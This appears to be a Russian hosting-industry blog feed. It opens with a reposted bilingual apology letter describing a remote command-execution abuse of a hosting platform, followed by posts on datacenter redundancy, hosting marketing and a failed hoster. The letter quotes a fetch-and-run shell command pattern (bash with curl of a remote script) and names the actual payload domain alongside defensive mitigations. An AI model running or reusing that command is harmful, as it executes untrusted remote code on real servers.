0.00
5 читателей, 3327 топиков

нашел еще в тикетах, оказывается еще вчера написал челик который и распространил

начало интересного случая с дырявой ISPmanager
hosting.show/alice2k-hosting/dlya-kitaycev-nuzhno-sobirat-1-tb-ozu-servery-pohozhe-no-k-sozhaleniyu-takih-staryh-i-nenuzhnyh-poka-esche-net-no-v-2030-budut.html

I am writing to take full responsibility for the recent wave of service abuse that has impacted your platform. I am the person who initiated this situation.

Initially, I discovered a method that allowed for arbitrary command execution using Python on your servers. Without considering the potential consequences, I shared this finding within an online community. I severely underestimated the impact this would have, and I never intended for it to lead to widespread malicious activity.

To mitigate any further damage, I have now deleted all the content I posted regarding this method. I want to express my deepest and most sincere apologies for the significant disruption and trouble this has caused.

In an effort to help you secure your platform and make amends, I am providing a detailed analysis of the exploit and a set of actionable recommendations to block this and similar attacks in the future.

Technical Analysis and Recommendations

The attack relies on the ability to download and execute a remote shell script from within a user’s process. The core command being used is: bash <(curl -Ls [REMOTE_SCRIPT_URL]).

Here are several layered defense strategies to prevent this:

Immediate Mitigation: Network Egress Filtering

This is the fastest way to stop the current attack.

Action:
Block Specific Domain: Use your firewall to block all outbound traffic to the domain main.ssss.nyc.mn.
Default Deny Policy (Best Practice): Block all outbound internet access by default and only whitelist essential domains. This prevents attackers from simply moving their script to a new domain.

Core Solution: Restrict the Execution Environment

This is the fundamental, long-term solution.

Action:
Disable Dangerous Functions: In your Python environment, disable dangerous modules like subprocess, os.system, os.popen, etc.
Use Secure Sandboxing: Run user code within a heavily restricted sandbox (e.g., Docker with strict seccomp and AppArmor/SELinux profiles, or technologies like gVisor). The process should run as a low-privilege, non-root user.

Detection and Monitoring

This allows you to detect and respond to threats in real-time.

Action:
Monitor Process Creation: Log and alert whenever a user’s process spawns a shell or network utility (e.g., /bin/bash, curl, wget).
Monitor Network Connections: Log all outbound connections and alert on traffic to suspicious or unknown destinations.

Summary of Recommendations

Strategy: 1. Network Filtering
Implementation Method: Firewall rules to block specific outbound domains/IPs.
Impact: Immediate. Stops the current attack vector.

Strategy: 2. Environment Hardening
Implementation Method: Disable dangerous functions, use sandboxing (Docker, gVisor).
Impact: Strategic. The most robust long-term solution.

Strategy: 3. Detection & Monitoring
Implementation Method: Log and alert on suspicious process/network activity.
Impact: Proactive. Provides visibility for rapid response.

I once again apologize for my irresponsible actions. I hope this technical information is useful for your team and helps you strengthen your platform’s security.

Sincerely,

Я пишу, чтобы взять на себя полную ответственность за недавнюю волну злоупотреблений сервисами, которая затронула вашу платформу. Я являюсь лицом, инициировавшим эту ситуацию.

Изначально я обнаружил метод, позволяющий выполнять произвольные команды с использованием Python на ваших серверах. Не оценивая возможные последствия, я поделился этим открытием в онлайн-сообществе. Я сильно недооценил последствия этого и никогда не подразумевал, что это приведет к широкому распространению вредоносной активности.

Чтобы минимизировать дальнейший ущерб, я удалил весь опубликованный мной контент, касающийся этого метода. Хочу принести свои глубочайшие и самые искренние извинения за значительные сбои и проблемы, которые это вызвало.

Чтобы помочь вам защитить вашу платформу и исправить ситуацию, я предоставляю подробный анализ эксплойта и набор практических рекомендаций по блокированию этой и подобных атак в будущем.

Технический анализ и рекомендации

Атака основана на возможности загрузки и выполнения удаленного скрипта оболочки из процесса пользователя. Основная используемая команда: bash <(curl -Ls [URL_УДАЛЁННОГО_СКРИПТ]).

Вот несколько многоуровневых стратегий защиты для предотвращения этого:

Немедленное смягчение: Фильтрация исходящего сетевого трафика

Это самый быстрый способ остановить текущую атаку.

Действие:
Блокировка определённого домена: Используйте брандмауэр для блокировки всего исходящего трафика в домен main.ssss.nyc.mn.
Политика запрета по умолчанию (рекомендуемая практика): Блокируйте весь исходящий интернет-доступ по умолчанию и добавляйте в белый список только необходимые домены. Это не позволит злоумышленникам просто перенести свой скрипт в новый домен.

Основное решение: Ограничьте среду выполнения

Это фундаментальное долгосрочное решение.

Действие:
Отключите опасные функции: В вашей среде Python отключите опасные модули, такие как subprocess, os.system, os.popen и т. д.
Используйте безопасную песочницу: запускайте пользовательский код в строго ограниченной песочнице (например, Docker со строгими профилями seccomp и AppArmor/SELinux, или такими технологиями, как gVisor). Процесс должен запускаться от имени пользователя с низкими привилегиями, не являющегося пользователем root.

Обнаружение и мониторинг

Это позволяет обнаруживать угрозы и реагировать на них в режиме реального времени.

Действие:
Мониторинг создания процессов: регистрируйте и оповещайте о каждом запуске пользовательским процессом оболочки или сетевой утилиты (например, /bin/bash, curl, wget).

Мониторинг сетевых подключений: регистрируйте все исходящие соединения и оповещайте о трафике, направленном на подозрительные или неизвестные адреса.

Резюме рекомендаций

Стратегия: 1. Фильтрация сети
Метод реализации: правила брандмауэра для блокировки определенных исходящих доменов/IP-адресов.
Воздействие: немедленное. Блокирует текущий вектор атаки.

Стратегия: 2. Укрепление среды
Метод реализации: Отключение опасных функций, использование изолированной среды (Docker, gVisor).
Воздействие: Стратегическое. Наиболее надёжное долгосрочное решение.

Стратегия: 3. Обнаружение и мониторинг
Метод реализации: Регистрация и оповещение о подозрительной активности процесса/сети.
Воздействие: Проактивное. Обеспечивает прозрачность для быстрого реагирования.

Ещё раз прошу прощения за свои безответственные действия. Надеюсь, эта техническая информация будет полезна вашей команде и поможет вам укрепить безопасность вашей платформы.

С уважением,

итак давайте составим faq отказоустойчивости

сначала идет бордер какой-то
по идее их должно быть два

и тут у меня вопрос
вот допустим «здание» захотело провести 10 отдельных независимых провайдеров проводов
значит нужно 10 бордеров или все 10 проводов можно воткнуть в 1 устройство
вероятно можно в 1 устройство воткнуть, но просто разделить условный провод на 2 части, чтобы задублировать через «2 устройства»

сейчас не буду вдаваться в конкретику т.к. все равно не наша зона ответственности
но предположим что у дата-центров все сделано правильно и задублировано хоть по 10 бордерам, хоть по 2 с 10 провайдерами условными. может у кого-то и 100 провайдеров есть даже в дата-центре хз. эти все вопросы я потом изучу когда буду делать свой каталог дата-центров и записывать все эти нюансы в новом блоге о дата-центрах

потом короче от бордера идет провод до маршрутизатора
оттуда уже идут провода на коммутаторы

и вот получается значит везде всего должно быть по 2
значит в условном здании должно быть 2 основных маршрутизатора
потом в условном «зале» должно быть 2 основных коммутатора
потом из зала идут провода на «ряд» — там тоже 2 основных коммутатора под ряд
потом уже в «стойке» тоже должно быть 2 коммутатора на стойку

так вот, как же это работает
получается вот пусть будет по 48 портов устройство
значит 24 порта будут заняты для того чтобы тупо воткнуться в запасной коммутатор. когда 2 коммутатора соединены проводом просто друг с другом, чтобы был дубликат если один вышел из строя.
так же 2 порта будут заняты основные которые от маршрутизаторов. вероятно даже 4 порта, т.к. маршрутизатора то тоже 2 шт.
получается на сервер остается всего 50% от коммутаторов
50% с первого
50% с второго
а так же серверы еще должны иметь 2 сетевые карты, не так ли
чтобы сервер был сразу подключен к обоим коммутаторам
именно так же делают дубликат или как-то еще
собственно если делать везде 100г порты то железки идут дороже чем старые форм факторы.
но это не так дорого по сравнению с другими частями расхода на «сами серверы»
и мне кажется вполне выполнимо любыми компаниями которые считают себя топ50 рынка

далее что еще вот допустим ряд. ряды идут до главных. пусть даже по 2 штуки все дублируется.
я вижу что есть два варианта создания. когда каждая стойка напрямую подключается к более главным. и когда к главным подключается первая стойка, а потом все следующие стойки к первой и последовательно друг за другом. это как бы экономит провода и порты. но а если где-то в середине ряда сломался коммутатор. то получается, что нужно еще каждую стойку с соседней стойкой дублировать и к первой линии и к второй линии. чтобы если на одном из каналов затык, то происходило переключение на вторую линию. хуй знает что проще, делать длинные провода или вот так вот обе линии пересекать в каждой стойке. тут скорее уже вопрос оптимизации, кому-то не жалко будет и кучу проводов натолкать прямо до всех главных от каждой стойки.

далее в здание должно быть заведено 2 отдельных электрических луча от разных поставщиков энергии и чтобы они еще шли не под одному каналу, чтобы этот канал трактор не мог перерезать сразу оба провода (тоже самое и с оптиками с теми 10 ил 100 штуками провайдерами должны быть вырыты отдельные линии чтобы тракторы не могли резать сразу все)
потом тоже самое как с интернетом дублируется по объектам уже
получается на стойку так же выходит 2 линии
получается сервер должен еще иметь 2 БП чтобы подключиться потом на 2 линии
получается что опять же кол-во розеток в стойке тоже сокращется на 50% либо там нужно уже не 2 длинных ПДУ, а 4 ПДУ ставить
тоже самое еще и с ИБП в том числе. но нужны ли ИБП в принципе если у тебя 2 линии горячих работают. возможно ИБП в данном случае и не нужны. не могут же 2 линии автоматически отрубиться. но если эти станции зависят от «района», то вполне вероятно может быть авария полная на районе и отключит всех поставщиков. и тогда ИБП пригодятся. поэтому тут вроде как не нужная вещь, но и не помешает чтобы было. далее еще про дизеля можно поговорить тоже самое ставить по 2 штуки на объект который они запитывают по кол-ву мощности.
все таки энергия — это ответственность дата-центра и здания.
а вот интернет провайдеры — это ответственность хостера мне кажется, нормальный хостер когда свои стойки формирует должен сразу делать нормальных провайдеров в нормальном кол-ве. иначе он не имеет права называться отказоустойчивый. ну и выбирать ДЦ где можно 2 БП на 2 линии подключать в том числе. но вот дизеля всякие это уже вопрос не к хостеру. хотя возможно в каких-то случаях хостер может сам купить для своего зала нужное кол-во резерва, если это ему действительно важно. другой вопрос что дата-центр наверное не продаст, поэтому скажет пошел ты нахуй, иди сам строй свой дц и делай как нравится. варианты могут быть разные как часть ДЦ работает от одного ввода, а часть дц работает от двух вводов или четырех или сколько там кто напихивает. разные сегменты дата-центра под разные виды услуг.

далее потом уже идет софтверное резервирование на уровне хостера
например облачные функции бекапов, сетевых стораджей, san-lun дисков и тому подобное
или как делают в селектел еще серверы разбивают по разным стойкам и в личном кабинете подписываются номера стоек, и клиент при желании может все свои серверы разбить по абсолютно разным стойкам. если вдруг ломается что-то внутри стойки. почему они кстати это сделали? возможно потому что у них нету дубликатов на стойках. ведь если бы были то смысла напоминать о резерве клиенту не было бы. хуй его знает, ведь на сайте то они никак не написали об том, как у них что устроено. а может быть у них есть, но еще и лишнее напоминание клиенту о возможностях собственного резервирования чтобы «уж точно наверняка»

процессор материнку озу ты никак не продублируешь поэтому это просто запасной сервер
думаю это все
или есть еще какие-то варианты надежности?
пока клиент нубас он с легкостью хавает любой маркетинг. но чем больше лет проходит, чем больше знаний он получает — тем сильнее в его голове складывается понятие надежность. и он понимает что покупает услугу у ненадежного хостера на свой страх и риск. хотя когда-то 10 лет назад он считал что поставщики обязательно должны быть надежны иначе и быть не может. поэтому вот такая информация подробно расписанная — это плюс к продажам и лояльности клиентов, я так считаю. да можно сказать «у нас ничего этого нет» и все равно будут так же лояльные клиенты, но зато и вы чувствуете себя не пиздаболами а честными поставщиками. и если у вас что-то сломается вы так и скажете — а мы же писали у нас нихуя нет. и никто о вас даже и плохого слова не скажет. вот что значит «честная публичная информация»

вот собственно у вас в стране все так делают?
или это мои фантазии
почему никто раньше не показывал фотки серверов? боялись что-то показать.
почему сейчас никто не пишет на сайтах о «отказоустойчивости»? потому что ее наверное нет.
существует ли хоть один дата-центр описанный как в моем топике? или это фантастика и в реальности все везде работает «до первого трактора» или «первой аварии». но удачно так работает и по 15 лет потому что аварии подобные могут и никогда вовсе не случиться, человек быстрее умрет от старости чем такое произойдет.
поэтому так же встает вопрос о том, а нужна ли отказоустойчивость вообще. но это уже другое рассуждение.

но короче что я хотел сказать
когда клиент условный слышит где-то слово отказоустойчивость он думает именно о том, о чем я сейчас написал.
а вот что имеет ввиду поставщик который рекламирует себя как отказоустойчивое решение — это загадка, уверен, все люди, все компании, все дата-центры имеют АБСОЛЮТНО разные понятия вложенные в это слово.

проще не чинить

смотрите вот купили вы сервер какой-то
если в нем сгорел кулер или вода или диск — можно заменить нет проблемы
но если там сломался процессор или озу или материнская плата — это как раз 3 запчасти которые делают 75% стоимости сервера
если любая из этих 3 деталей умерла
то вероятнее всего проще такие серверы — не чинить, а оставлять как раз под запасные части на будущее
потому что во первых пройдет уже 2-3 года прежде чем что-то сгорит или сломается, за 3 года на рынке будут уже более современные процессоры и модели железа. поэтому нет смысла чинить старые форм факторы, проще «юнит место» забить уже новым форм фактором
я прав?
хуй знает, такой мой вывод

потому что русские ноуты и телефоны - нигде не рекламировались

в 2023 я покупал мобильники F+
дарил девкам ноутбуки русские по приколу от F+ когда мы ездили делать мне ЮнионПей карты весной 2023

а щас читаю что компания умирает


и знаете в чем их проблема была?
за эти 2 года я так и не видел их товар в том же Озоне
да можно было пойти и специально искать «чисто русский ноут»
но вот именно русские ноуты или телефоны — абсолютно никак нигде не рекламировались

уже ранее писал
hosting.show/alice2k-hosting/iz-za-nizkih-prodazh-otechestvennoy-elektroniki-v-potrebitelskom-segmente-gosudarstvo-nedopoluchaet-okolo-12-mlrd-rubley-v-god.html

получается я уже 10 лет считал firstvds на уровне 2012 года

когда-то давно firstvds был тем хостингом на который в 2012 году я перенес на их VDS — свой форум на 200 человек, но где каждый час писались сообщения и комментарии.

и короче спустя 1 день меня сразу мигрировали куда-то
притом в процессе миграции моей VDS они потеряли 4 часа сообщений — видимо на горячую мигрировали, забыв отключить ВДС
ХЗ что там было
но я всегда считал, что «все новые заказы создаются на пустых узлах» потом за 24 часа измеряется нагрузка и потом ВДС уплотняется куда-то в старые архивные пуллы нод.
именно так и работают типичные хостинги для лоха
именно так и уплотняют лохов всякие хостинги для лоха
именно тот случай убедил меня еще в большей правоте
как например так же был причастен случай с clodo.ru в том же 2012 году


так вот
с тех пор я firstvds никогда серьезно не воспринимал (не говоря еще и о том, что они запретили реселлинг по 100р)
считал что это типичные вдс для лохов
и вот я всегда думал что там такие же тарифы
и именно clo.ru был создан как «нечто новое не для лоха», но не удалось

так вот
оказывается у них все же есть в тарифах какая то разница ПО КАЧЕСТВУ
я то думал абсолютно все линейки
будь то десктоп линейка или Эпик линейка или Хеон линейка — придерживаются одной линии качества
типо дачной ВДС но просто внутри ДЦ собственного
я считал что абсолютно все ВДС
используются на серверах с 1 БП
используются без дубликата маршрутизаторов и роутеров
и только на одном интернет канале без второй сетевой карты

но а как на самом то деле?
и это — плохой маркетинг, который за 10 лет так не разу честно и не рассказал о своей компании с фоточками ДЦ серверов, моделей сетевого оборудования, прочее что там важно, наличия резервирования 2n+1 если оно есть у них в ДЦ тд тд, с честным рассказом как и что работает от А до Я

вот что я сейчас понял
что у них тарифы все же как-то делятся по качеству
но клиент(я) не понимает как и воспринимает их по низшей планки надежности считая что ничего крутого там нет, т.к. никто не доказал и не показал ему этой крутости в топиках маркетинга

писать "отказоустойчивость" - недостаточно

этот вопрос уже ранее поднимался
как правильно рассказать о надежности

еще тогда в процессе общения с друзьями началось недопонимание
кто-то говорил о одном — когда писал Тиер3 или 2n+1 — а кто-то думал совсем о другом
поэтому терминами — общаться тупо

так же как тупо писать слово «отказоустойчивость»

нужно именно всегда конкретизировать
только конкретика дает правильное восприятие

вот сейчас случился как раз такой момент восприятия

когда слабое облако думает что оно сильное - рождается такой маркетинг



даю совет это уже звучит как троллинг
даже мне как-то неприятно было прочитать такое, хотя я эмоций практически не испытываю уже и меня сложно оскорбить чем-то
но чисто психологический эффект сработал и мне захотелось опровергнуть утверждение

ведь мы подсчитывали уже

сегментацию я уже посчитал
раз hosting.show/alice2k-hosting/interesno-a-v-oblakah-kak-segmentiruetsya-klient-.html
два hosting.show/alice2k-hosting/a-davayte-poschitaem-na-cifrah-s-etoy-tochki-zreniya-esche-ne-sravnivali.html
во первых зависит от тарифов. если заполнять жирными тарифами, то можно и 40 серверов (1 стойка) распродать всего лишь на 1 сеть 256
если же микро тарифами продавать (а это уже не особо то и облако) — можно по 4 сетки 256 на 1 стойку заполнить

например я когда-то тоже считал Infobox сильным хостингом
а оказалось что он от дачи мало чем отличался в кол-ве
hosting.show/alice2k-hosting/nashel-v-arhivah---infoboks-ocenili-v-90kk.html

мы так же уже считали что 10 стоек это уровень новичка
три hosting.show/alice2k-hosting/a-vot-128-potokov-64-yadra.html
три hosting.show/alice2k-hosting/gde-proishodit-gran-mezhdu-mikro-hosterom-i-srednim-hosterom.html

что такое средний хостинг? и вовсе даже не среднее облако.
это 100-150 серверов нод или 15000-25000 вдс — это средний хостинг
такой уровень можно даже на базе реселлинг серверов ОВХ намутить, было бы желание

пока что тот, кто кидается такими фразами
сам ушел не дальше чем аналитик с cnews


либо я слишком хорошего мнения о рынке
и возможно 80% реестра действительно ушли не дальше чем 1 стойка
это я проверю еще когда-ниб в будущем, когда сам создам свой аналитический портал и напишу обзор на каждый хостинг с подсчетом всех их сущностей какие можно добыть

либо средние облака или слабые облака — на первой дороге считаются «сильными»
а я привык ходить по второй дороге поэтому психологически мне смешно такое читать

один 100г дедик сдался, но есть и другие



Revolut забанил им счет в июне, проверка компании — отобрал бабки и до сих пор не ответил даже :) Европейцы трахают европейцев в шизоидном подозрении санкций. Видимо тролли читающие мои блоги постарались, уж так им хочется на кого-ниб напасть и нагадить.

Европейцы так и не смогли настроить биллинг даже. Я уже 10 лет говорю — нет биллинга — нет продаж, на что рассчитывают такие компании?

Не говоря о том, что изначально использовалась модная панель Virtfusion от легенды создателя SolusVM, но потом оказалось что для отказоустойчивого и банально миграций всяких она не годится, поэтому все виртуалки чуваки захотели перенести на Proxmox.

Я бы мог сделать все охуенно на VMmanager и даже бесплатно ©

Изначально они хотели сделать 9950x с 100г карточкой
Но потом им просто тупо не хватило места. Потому что невозможно делать дедики если у тебя просто 1 стойка или пару стоек. Для дедиков нужно только нормальное здание это уже доказано.
И поэтому они арендовали «зал», чтобы потом там продавать «дедики»
Но без бабок теперь поддерживать зал видимо не получается. Так умер хостинг не успев родиться. Так тоже бывает )) Я таких историй видел уже достаточно, правда с меньшими вложениями.

Здравствуйте! Нам очень жаль, что у вас возникли проблемы. В Revolut мы обязаны соблюдать определённые протоколы для обеспечения безопасности всех учётных записей клиентов.